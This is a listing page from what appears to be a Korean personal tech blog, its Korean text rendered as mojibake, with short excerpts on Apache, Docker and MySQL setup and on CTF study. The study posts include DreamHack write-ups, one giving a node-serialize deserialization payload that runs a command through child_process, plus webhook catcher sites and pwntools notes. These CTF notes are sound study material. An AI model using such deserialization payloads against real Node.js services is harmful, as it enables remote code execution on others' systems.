728x90 ์ ์ฒด ๊ธ720 ์ํ์น - ๋๋ฉ์ธ์ผ๋ก๋ง ์ ์ ํ์ฉํ๊ฒ(ip๋ ์ฐจ๋จ) /etc/apache2/apache2.conf #๋๋ฉ์ธ ์ ์ DocumentRoot "/var/www/html" ServerName mydomain.com #ip์ ์ DocumentRoot "/var/www/invalid" ์ถ์ฒ: https://kldp.org/node/154891 Apache ๋๋ฉ์ธ์ผ๋ก๋ง ์ ์ ๋๊ฒ๋ ํ ๋ ค๊ณ ํฉ๋๋ค (IP ์ ์์ ์ฐจ๋จ) | KLDP ์๋ ํ์ธ์. ์ ๊ฐ ์ฌ์ฉํ๋ ํ๊ฒฝ์ Apache-Weblogic์ผ๋ก ๊ตฌ์ฑ๋์๊ณ , vhosts๋ก ๋๋ฉ์ธ์ ์ฝ 200๊ฐ ์ ๋ ์ฌ์ฉ์ค์ ๋๋ค. IP๋ฅผ ํตํ ์ ์์ ์ฐจ๋จ, ๋๋ฉ์ธ์ ํตํ ์ ์์ ํ์ฉํ ๋ ค๊ณ ํ๋๋ฐ, Apache์์ ๊ด๋ จ kldp.org https://feelcorp.tistory.com/entry/apache-%EB%8F%84%EB%A9%.. 2023. 4. 3. ์ํ์น - ํน์ ํ์ฅ์ ์ธ๋ถ ์ ์ ๊ธ์งํ๊ธฐ(.htaccess) ๊ธ์งํ ํด๋์ .htaccess ์์ฑ .txt ํ์ฅ์ ์ ์ ๊ธ์ง deny from all ์ฌ๋ฌ ๊ฐ์ง ํ์ฅ์ ์ ์ ๊ธ์ง Deny from all /etc/apache2/apache2.conf ์์ Options FollowSymLinks AllowOverride all # ์ด๋ถ๋ถ ์์ 2023. 3. 31. ์ํ์น - .php ํ์ฅ์ ์์ด URL ์ ์ํ๊ธฐ vim /etc/apache2apache2.conf Options FollowSymLinks MultiViews AddType application/x-httpd-php .php .jsp Require all granted AllowOverride FileInfo sudo service apache2 restart ์ถ์ฒ: http://www.dreamy.pe.kr/zbxe/CodeClip/3770316 [PHP] .php ํ์ฅ์ ์์ด URL ์ ์ํ๊ธฐ https://mitny.github.io/articles/2018-02/url-without-php-extension Accessing url without .php extensionํ๊ฒฝ: Ubuntu 16.04 LTSphp๋ ๋ค๋ฅธ ์ธ์ด๋ก ํ์ด์ง๋ฅผ ๋ง๋ค์์.. 2023. 3. 31. Docker - ์คํ์ค์ธ ์ปจํ ์ด๋ ํฌํธ ๋ฐ์ธ๋ฉํ๊ธฐ & DNS ์๋ฒ ์ฃผ์ ์ค์ 1. ์คํ ์ค์ธ ์ปจํ ์ด๋ ์ด๋ฏธ์งํ docker commit [container id] [imageName]:[tagName] 2. ์ด๋ฏธ์งํํ ์ปจํ ์ด๋๋ฅผ run ํ๋ฉด์ ํฌํธ ๋ฐ์ธ๋ฉ ์ค์ docker run -it -p [์ธ๋ถport]:[์ปจํ ์ด๋ ๋ด๋ถport] --name [์ปจํ ์ด๋ ์ด๋ฆ] [image id] /bin/bash #. run ํ๋ฉด์ DNS ์๋ฒ ์ฃผ์ ์ค์ docker run --dns="8.8.8.8" ์ถ์ฒ: http://blog.jaeil.wiki/docker-dns-setting/ Docker ์์ DNS ์ค์ ๋ฐฉ๋ฒ ์ ธ์์ docker ๋ช ๋ น์ด ์คํ ์ inline ์ผ๋ก ์ธ์ ์ ๋ฌ docker run --dns="8.8.8.8" docker-compose.yaml ์ dns config ์ ์.. 2023. 3. 31. MySQL - ๋์ปค์์ MySQL ์๋ฒ์ ์ ์์ด ์๋๋ ๊ฒฝ์ฐ[ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (13)] ๋ก์ปฌ MySQL ์๋ฒ ์ ์์ ์ํ /var/run/mysqld/mysqld.sock์ ์ ๊ทผ์ด ์๋๋ค๋ ์ค๋ฅ ๋ฉ์์ง ์ด์ ๋ mysqld ํด๋ ์ฃผ์ธ ์ธ์ ์๋ฌด๋ ์ ๊ทผ์ด ์๋๊ธฐ ๋๋ฌธ์ chmod 755 /var/run/mysqldํด๋ ์ ๊ทผ ๊ถํ์ 755๋ก ์ค์ 2023. 3. 31. ์ํ์น - ๋์ปค์์ /var/log/apache2์ ์๋ฌ ๋ก๊ทธ(error.log)๊ฐ ์๋์ค๋ ๊ฒฝ์ฐ vim /etc/apache2/apache2.conf ์์ ๋ด์ฉ์ ์๋๋ก ์์ Errorlog ${APACHE_LOG_DIR}/error.log 2023. 3. 30. ์ํ์น - ํ์ด์ฌ ํจํค์ง pip๋ก ์ค์น sudo mkdir /var/www/.local sudo mkdir /var/www/.cache sudo chown www-data.www-data /var/www/.local sudo chown www-data.www-data /var/www/.cache sudo -H -u www-data pip install CoolProp www-data๋ก /bin/sh ์ฐ๊ฒฐ sudo su www-data -s /bin/sh ์ถ์ฒ: https://stackoverflow.com/questions/39471295/how-to-install-python-package-for-global-use-by-all-users-incl-www-data How to install Python Package for global us.. 2023. 3. 29. DreamHack - login-1 ํ์ด ๊ด๋ฆฌ์ ๋ ๋ฒจ ์ ์ ์์ด๋ ์ฐพ๊ธฐ http://host3.dreamhack.games:20947/user/1 = MAXRESETCOUNT: ์ด๋ ๊ฒ ์์ฑํ์ผ๋ฉด ์ด๋ฐ ์ทจ์ฝ์ ์ ์์์ ๊ฒ. ์๋ฒ ์๋ฌ 500์ ์ด์ฉ ์ ๊ท ๊ณ์ ์ ๋ง๋ค๊ฒ ๋๋ฉด resetCount ์์ญ์๋ NULL์ด ์๊ธฐ๊ฒ ๋๋ฉด์ ์๋์ resetCount = resetCount + 1 ๊ตฌ๋ฌธ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค. ๊ฒฐ๊ตญ ๋ฆฌ์ ์นด์ดํธ๋ ์ฆ๊ฐ ๋ชปํ ์ฑ ์๋ฒ ์ธก ์๋ฌ(500)๊ฐ ๋ฐ์ํ๋ค. updateSQL = "UPDATE user set resetCount = resetCount+1 where idx = ?" cur.execute(updateSQL, (str(user['idx']))) msg = f"Wrong BackupCode ! Left Count : .. 2023. 3. 27. ์นํํฌ(webhook) ์ฌ์ดํธ(requestcatcher.com, webhook.site) https://requestcatcher.com/ Request Catcher — record HTTP requests, webhooks, API calls Request Catcher will create a subdomain on which you can test an application. All requests sent to any path on the subdomain are forwarded to your browser in real time. requestcatcher.com https://webhook.site/ Webhook.site - Test, process and transform emails and HTTP requests This URL received over {{ appCon.. 2023. 3. 27. DreamHack - node-serialize (nodejs ์ง๋ ฌํ ์ทจ์ฝ์ ) ํ์ด node-serialize ์ทจ์ฝ์ ์์ var serialize = require('node-serialize'); var x = { rce : function(){ require('child_process').exec('echo serialize exploited!', function(error, stdout, stderr) { console.log(stdout) }); }(), } serialize.serialize(x); var y = '{"username": "guest", "country": "Korea", "exec": "_$$ND_FUNC$$_function(){ require(\'child_process\').exec(\'echo unserialize exploited!\', functio.. 2023. 3. 27. ๋ฆฌ๋ฒ์ฑ - ๋ฐ์ด๋๋ฆฌ์ ์ค์ ๋ ๋ณดํธ ๊ธฐ๋ฒ ํ์ธ(checksec) checksec -f {ํ์ผ} RELRO(RELocation Read-Only): Read-Only ๊ถํ ์ค์ ์ผ๋ก Write ๊ฐ๋ฅํ์ง ์ฌ๋ถ Stack Canary: Return Address Overwrite ์ฌ๋ถ ํ์ธ Stack Canary๋ ์นด๋๋ฆฌ๋ฅผ ํตํด ์คํ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๊ฐ์งํ๋ค. NX(No-eXecute): NX๋ฅผ ์ฐํํ ์ ์๋ ๊ฐ์ฅ ๋ํ์ ์ธ ๋ฐฉ๋ฒ์ ROP(Return Oriented Programming) NX(No-eXecute)๋ ์์ฝ๋ ์คํ์ ๋ฐฉ์งํ๋ค. ASLR(Address Space Layout Randomization): ์คํ๋ ๋๋ง๋ค ๋ฐ์ดํฐ ์์ญ(์คํ, ํ, ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฑ)์ ์ฃผ์๋ฅผ ๋๋ค์ผ๋ก ๋ณ๊ฒฝ Windows์ฉ checksec https://github.com/Wenzel/che.. 2023. 3. 26. ์์คํ ๋ณด์ - pwntools pwntools๋ ๋ฆฌ๋ ์ค ํ๊ฒฝ์์ ์คํ ํ๋ก๊ทธ๋จ์ ์ต์คํ๋ก์์ ์์ฑํ๋๋ก ๋์์ ์ฃผ๋ ํ์ด์ฌ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ด๋ค. CTF์์๋ ์ ์ฉํ๊ฒ ์ฌ์ฉ๋ ์ ์๋ค. pip ์ค์น ๋ช ๋ น์ด python3 -m pip install --upgrade pwntools ์ฌ์ฉ ์์ >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() nc(NetCat), .. 2023. 3. 25. ์ด์ 1 ยทยทยท 17 18 19 20 21 22 23 ยทยทยท 60 ๋ค์ 728x90